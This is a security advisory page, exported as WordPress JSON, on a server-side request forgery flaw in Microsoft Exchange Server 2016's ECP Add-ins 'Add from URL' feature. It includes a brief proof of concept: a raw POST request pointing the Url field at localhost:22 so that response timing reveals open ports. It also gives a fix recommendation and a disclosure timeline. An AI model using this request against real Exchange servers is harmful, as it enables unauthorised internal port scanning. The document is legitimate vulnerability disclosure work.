{"id":17389,"date":"2021-11-01T07:55:59","date_gmt":"2021-11-01T06:55:59","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=17389"},"modified":"2021-11-04T11:41:41","modified_gmt":"2021-11-04T10:41:41","slug":"usd-2021-0020","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0020\/","title":{"rendered":"usd-2021-0020"},"content":{"rendered":"\n\n\n\n\n\n\n[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<h1>usd-2021-0020 | Microsoft Exchange Server ECP<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd20210020<\/span><br \/><strong>Affected Product<\/strong><span>: Microsoft Exchange Server\u00a0<\/span><br \/><strong>Affected Version<\/strong><span>: Latest (Exchange Server 2016, Version 15.1 (Build 2242.4))<\/span><br \/><strong>Vulnerability Type<\/strong><span>: CWE-918: Server-Side Request Forgery (SSRF)\u00a0<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"https:\/\/www.microsoft.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/microsoft.com\u00a0<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Not fixed \/ Disputed<\/span><\/p>\n<p><em>The following behavior was reported to Microsoft in May 2021. After finishing their investigations, Microsoft informed us that this issue does not meet their bar for servicing in a security update.\u00a0<\/em><\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p>The application can be made to perform requests to other services. From the perspective of those other services it looks like the requests originated from the vulnerable application. By issuing such server-side requests, an attacker may be able to access services that are bound to the local interface of the vulnerable system and would therefore normally not be reachable over the network. In addition, an SSRF attack can provide access to the local network in which the server is located.<\/p>\n<p>The Exchange Server\u2019s ECP component allows to manage Add-Ins. In doing so, users may install Add-ins using multiple mechanisms, including installation by URL. The Exchange Server does not sufficiently validate the provided URL, resulting in SSRF to localhost.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>1. Login to the ECP interface at https:\/\/mail.example.com\/ecp<\/p>\n<p>2. Go to \"Organization\" &gt; \"Add-ins\".<\/p>\n<p>3. Choose \"Add from URL\" and enter `http:\/\/localhost:22` as URL.<\/p>\n<p>The following request aims to add a new Add-In by URL:<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<p>POST \/ecp\/DDI\/DDIService.svc\/NewObject?ActivityCorrelationID=62e09195-1085-7a8c-0373-b354f9683666&amp;schema=ClientExtension&amp;msExchEcpCanary=oSn3X_U-B0OReLhXv3sXbTCuqnfPCtkI3lyQ_wckeBVahc2cefnpHE8GBQwlkgWMvhfN-Y21Gho. HTTP\/1.1<br \/>Host: mail.example.com<br \/>Connection: close<br \/>Content-Length: 138<br \/>User-Agent: Mozilla\/5.0 [...]<br \/>Referer: https:\/\/mail.example.com\/ecp\/Extension\/InstallFromPrivateUrl.aspx?pwmcid=2&amp;ReturnObjectType=1<br \/>Cookie: [REDACTED]<\/p>\n<p>{\"properties\":{\"Parameters\":{\"__type\":\"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\"Url\":\"http:\/\/localhost:22\"}}}<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.10.8\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<p>4. By testing multiple ports at localhost as `Url` parameter, clear timing differences can be observed:<\/p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/10\/poc-ecp-ssrf-1.png\" title_text=\"poc-ecp-ssrf\" _builder_version=\"4.10.8\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Impact<\/h3>\n<p>A malicious actor could utilize the aforementioned different response times to perform port scans of localhost or the local network.<\/p>\n<p>&nbsp;<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to evaluate the need to make server-side requests. If server-side requests are absolutely necessary, the corresponding function should be restricted by a whitelisting approach.<\/p>\n<h3><\/h3>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/918.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/918.html<\/a><\/li>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/Server_Side_Request_Forgery\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/Server_Side_Request_Forgery<\/a><\/li>\n<li>MSRC Case 65226 - usd20210021: Comparable issue in MS Exchange's OWA component\u00a0<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2021-05-03: This vulnerability was identified by Lauritz Holtmann.<\/li>\n<li>2021-05-07: Advisory submitted to vendor via e-mail.<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\">2021-05-17: Vendor states he is unable to reproduce finding.<\/p>\n<\/li>\n<li>2021-05-19: Additional information provided by usd AG.<\/li>\n<li>2021-07-20: Vendor issues statement:<em> \"Upon investigation, we have determined that this submission does not meet the definition of a security vulnerability for servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering.\"<\/em><\/li>\n<li>\n<p data-pm-slice=\"1 1 []\">2021-10-30: Advisory is published by usd AG.<\/p>\n<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Lauritz Holtmann of usd AG.<\/p>\n<\/div>\n<\/div>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\n\n\n\n\n\n\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0020 | Microsoft Exchange Server ECP Advisory ID: usd20210020Affected Product: Microsoft Exchange Server\u00a0Affected Version: Latest (Exchange Server 2016, Version 15.1 (Build 2242.4))Vulnerability Type: CWE-918: Server-Side Request Forgery (SSRF)\u00a0Security Risk: MediumVendor URL: https:\/\/microsoft.com\u00a0Vendor Status: Not fixed \/ Disputed The following behavior was reported to Microsoft in May 2021. After finishing their investigations, Microsoft informed us that [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-17389","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/17389","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=17389"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/17389\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=17389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}